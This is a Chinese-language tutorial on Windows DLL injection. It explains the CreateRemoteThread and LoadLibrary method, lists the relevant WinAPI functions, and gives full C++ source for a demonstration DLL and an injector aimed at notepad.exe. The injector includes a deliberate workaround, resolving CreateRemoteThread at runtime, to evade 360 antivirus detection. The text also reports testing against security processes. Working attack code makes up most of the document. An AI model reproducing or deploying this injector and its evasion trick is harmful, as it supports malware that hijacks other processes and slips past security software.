使用这种方法没办法注入
explorer.exe,另一种方法见https://download.csdn.net/download/weixin_42172261/87646806
Dll注入技术
当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。
Dll注入原理
DLL注入就是强制一个正在运行的进程将攻击者需要注入的dll文件加载到自身进程空间内,进而实现其后续的恶意攻击操作。
CreateRemoteThread方法,需要将注入的参数(也就是Dll文件的路径)写入目标进程空间,因此通过WriteProcessMemory来申请内存空间写入DLL路径,接着调用CreateRemoteThread函数来创建一个新的线程,在该线程中调用LoadLibrary来导入我们需要注入的DLL文件。
这便成功实现了一次DLL注入攻击,接着便可以展开后续恶意操作了。
Dll注入实现步骤
- 附加目标进程
- 在目标进程分配内存空间
- 将Dll文件路劲复制到目标进程的内存空间
- 创建一个远程线程,让目标进程调用句柄
- 释放空间
dll进程注入与普通shellcode执行的流程的区别在于普通加载shellcode是在当前进程virtualalloc之后拷贝到内存然后createThread执行;而dll注入是在这些步骤之前找一个目标进程id去注入。
使用到的WindowsAPI
CreateToolhelp32Snapshot
用于返回指定进程的内存映像,包括堆栈、加载模块以及进程线程等。本程序中用于获取内存所有系统进程。
函数原型:
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
[in] dwFlags
该参数指明要包含在快照中的系统部分。
[in] th32ProcessID
指明操作进程的id,0代表当前进程。
Process32First
检索有关系统快照中遇到的第一个进程的信息。获取第一个进程开始遍历进程列表。
函数原型:
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);
[in] hSnapshot
从对 CreateToolhelp32Snapshot 函数的上一次调用返回的快照的句柄。
[in,out] lppe
指向 PROCESSENTRY32 结构的指针。 进程信息最终会存储在该参数中,例如可执行文件的名称、进程标识符和父进程的进程标识符。
LoadLibraryA
将指定的模块加载到调用进程的地址空间中。 指定的模块可能导致加载其他模块。
函数原型:
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
[in] lpLibFileName
模块的名称。 可以是 (.dll文件) 的库模块,也可以是 (.exe文件) 的可执行模块。
CreateRemoteThread
创建在另一个进程的虚拟地址中运行的线程。关键函数,远程创建一个执行导入dll的进程。
函数原型:
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
[in] hProcess
要在其中创建线程的进程句柄。
[in] lpThreadAttributes
指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。
[in] dwStackSize
堆栈的初始大小。
[in] lpStartAddress
远程进程在线程中的其实地址。
[in] lpParameter
指向要传递给线程函数的变量的指针。
[in] dwCreationFlags
控制线程创建的标志
[out] lpThreadId
指向接受线程标识符的变量的指针
Payload
DLL
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 进程创建时调用
MessageBoxA(NULL, "DLLInject success!!", "DLLInject success!!", MB_OK | MB_TOPMOST);
break;
case DLL_THREAD_ATTACH:
// 线程创建时调用
case DLL_THREAD_DETACH:
// 线程结束时调用
case DLL_PROCESS_DETACH:
// 进程结束时调用
break;
}
return TRUE;
}
在DLL被加载时,会传入url_reason_for_call,指明了被调用的原因:
- DLL_PROCESS_ATTACH:进程创建的时候调用
- DLL_PROCESS_DETACH:进程结束的时候调用
- DLL_THREAD_ATTACH:线程创建的时候调用
- DLL_THREAD_DETACH:线程结束的时候调用
DllInject.cpp
#include "stdlib.h"
#include "tchar.h"
#include "Windows.h"
#include "direct.h"
#include "TlHelp32.h"
#include "atlstr.h"
#include <iostream>
using namespace std;
#define PROCESS_NAME "notepad.exe" //要注入的进程名
//注入函数的实现
bool Inject(DWORD dwPid, WCHAR* szPath) //目标进程PID和DLL路径
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); //获取进程权限
if (!hProcess) {
std::cout << "获取进程权限失败" << std::endl;
return FALSE;
}
//执行成功分配内存单元的首地址,不成功就为NULL
LPVOID pRemoteAddress = VirtualAllocEx(hProcess, NULL, 1, MEM_COMMIT, PAGE_READWRITE);
if (!pRemoteAddress) {
std::cout << "开辟内存失败" << std::endl;
return FALSE;
}
DWORD dwWriteSize = 0;
WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, 0); //把dll写入内存
// 360查杀点,无法注入到其他进程
// HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pRemoteAddress, NULL, NULL); //创建一个新的远程线程执行
// 通过下面的方法可以绕过360查杀
HMODULE hModule = LoadLibraryW(L"Kernel32.dll");//获取kernel32.dll的地址,HMODULE存放的是模块地址在内存。
if (!hModule) {
std::cout << "获取kernel32.dll地址失败" << endl;
return FALSE;
}
typedef HANDLE(*createRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
createRemoteThread c1 = (createRemoteThread)GetProcAddress(hModule, "CreateRemoteThread");
HANDLE hThread = c1(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pRemoteAddress, NULL, NULL); //创建一个新的远程线程执行
if (!hThread) {
std::cout << "创建线程失败" << std::endl;
return FALSE;
}
std::cout << "等待线程返回" << endl;
WaitForSingleObject(hThread, -1); //当句柄所指定的线程有信号的时候,才会返回
VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_COMMIT); // 释放目标空间
return 0;
}
//根据进程名获取进程Pid
DWORD GetPID(CString pProName)
{
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bRet = FALSE;
DWORD dwPID = 0;
if (hSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
goto exit;
}
pe32.dwSize = sizeof(pe32);
bRet = Process32First(hSnap, &pe32);
while (bRet)
{
if (lstrcmp(pe32.szExeFile, pProName) == 0)
{
dwPID = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hSnap, &pe32);
}
CloseHandle(hSnap);
exit:
return dwPID;
}
int _tmain(int argc, _TCHAR* argv[])
{
CHAR szDLLPath[MAX_PATH] = { 0 };
// 需要注入的dll
wchar_t szPath[] = L"E:\vs-workpath\Dll1\x64\Release\Dll1.dll";
DWORD dwPid = GetPID(PROCESS_NAME);
cout << dwPid << endl;
if (dwPid == NULL)
{
MessageBox(NULL, L"获取目标进程pid失败!", L"提示", MB_OK);
}
Inject(dwPid, szPath); //注入dll函数
exit:
system("pause");
return 0;
}
经测试该方法可以注入notepad.exe等常见进程,但是注入HipsDaemon.exe和360Safe.exe时,报开辟内存错误,应该是安全进程做了一未知限制。